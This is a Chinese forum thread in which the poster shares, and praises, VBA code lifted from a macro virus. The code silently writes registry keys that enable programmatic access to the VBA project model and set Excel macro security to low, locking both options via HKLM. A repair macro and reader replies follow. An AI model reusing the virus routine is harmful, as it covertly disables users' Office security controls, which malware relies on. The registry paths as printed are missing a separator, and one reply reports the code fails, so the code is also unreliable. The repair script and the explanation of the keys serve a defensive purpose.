用VBA代码开启“信任对VBA工程对象模型的访问”的方法

旭日升

昨天从同事那里得到一个宏病毒ToDole，里面有一段代码是用于开启VBA工程对象的，觉得很不错，经过研究后，现拿出现分享一下。

1. 
   
2. Function OpenDoor()
   
3. Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
   
4. Dim KValue1 As Variant, KValue2 As Variant
   
5. Dim VS As String
   
6. On Error Resume Next
   
7. VS = Application.Version
   
8. Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
   
9. RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
   
10. RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
    
11. RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
    
12. RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
    
13. KValue1 = 1
    
14. KValue2 = 1
    
15.       Call WReg(RK1, KValue1, "REG_DWORD")
    
16.       Call WReg(RK2, KValue2, "REG_DWORD")
    
17.       Call WReg(RK3, KValue1, "REG_DWORD")
    
18.       Call WReg(RK4, KValue2, "REG_DWORD")
    
19. End Function
    
20. '--------------------------------------------------------------------------------------------------------------------------------------------
    
21. Sub WReg(strkey As String, Value As Variant, ValueType As String)
    
22.     Dim oWshell
    
23.     Set oWshell = CreateObject("WScript.Shell")
    
24.     If ValueType = "" Then
    
25.         oWshell.RegWrite strkey, Value
    
26.     Else
    
27.         oWshell.RegWrite strkey, Value, ValueType
    
28.     End If
    
29.     Set oWshell = Nothing
    
30. End Sub

复制代码

这段代码使用了WINDOWS脚本文件对注册表进行修改，从这一点来看，病毒还是挺可怕的，你不知道他在注册表里面会干些什么。
在运行这段代码后，将开启“信任对VBA工程对象模型的访问”，且该选项将变成灰色。
在上面代码中：
1.“AccessVBOM”项的值为1代表开启，0表示关闭“信任对VBA工程对象模型的访问”
2.“Level”项的值1，2，3分别表示宏的安全级别为低、中、高。
3.而语句中“HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM ”和“HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level”添加过后会将相关的选项变成灰色，变为不可选。

解决变灰的问题，可以手动删除代码中涉及的键值或者运行代码：

1. Sub VBA工程修复()
   
2. On Error Resume Next
   
3. With CreateObject("WSCRIPT.SHELL")
   
4.     .REGDELETE "HKLM\Software\Microsoft\Office" & Application.Version & "\Excel\Security"
   
5.     .REGWRITE "HKCU\Software\Microsoft\Office" & Application.Version & "\Excel\Security\AccessVBOM", 0, "REG_DWORD"
   
6.     .REGWRITE "HKCU\Software\Microsoft\Office" & Application.Version & "\Excel\Security\Level", 3, "REG_DWORD"
   
7. End With
   
8. End Sub
   
9. 
   

复制代码

另外，查杀宏病毒，可到金山毒霸论坛下载专用工具：
http://bbs.duba.net/thread-22450603-1-1.html?ver=pop
该工具在不断更新中。

goldowl2011

Mark it and test it .Thanks a lot.

335081548

谢谢分享

lizi007

谢谢分享，非常实用{:soso_e179:}

jingchunbi

过于高深，暂时理解不了。
请问各位高手：在哪里手工修改？

旭日升

jingchunbi 发表于 2012-10-6 07:41
过于高深，暂时理解不了。
请问各位高手：在哪里手工修改？

点“开始”菜单，打开“运行”对话框，输入REGEDIT后确定，将打开注册表编辑器，在左侧的目录树中寻找。

zcb20051020

楼主，我试了你的代码，发现没有作用啊。我的win 7系统+office 2010的环境
我插入代码后，还是报错。

hwc2ycy

不错。刚好要用到。

lskvslgt

前面的不会用，后面的修复还是很好用的。

huazai688

收藏{:soso_e100:}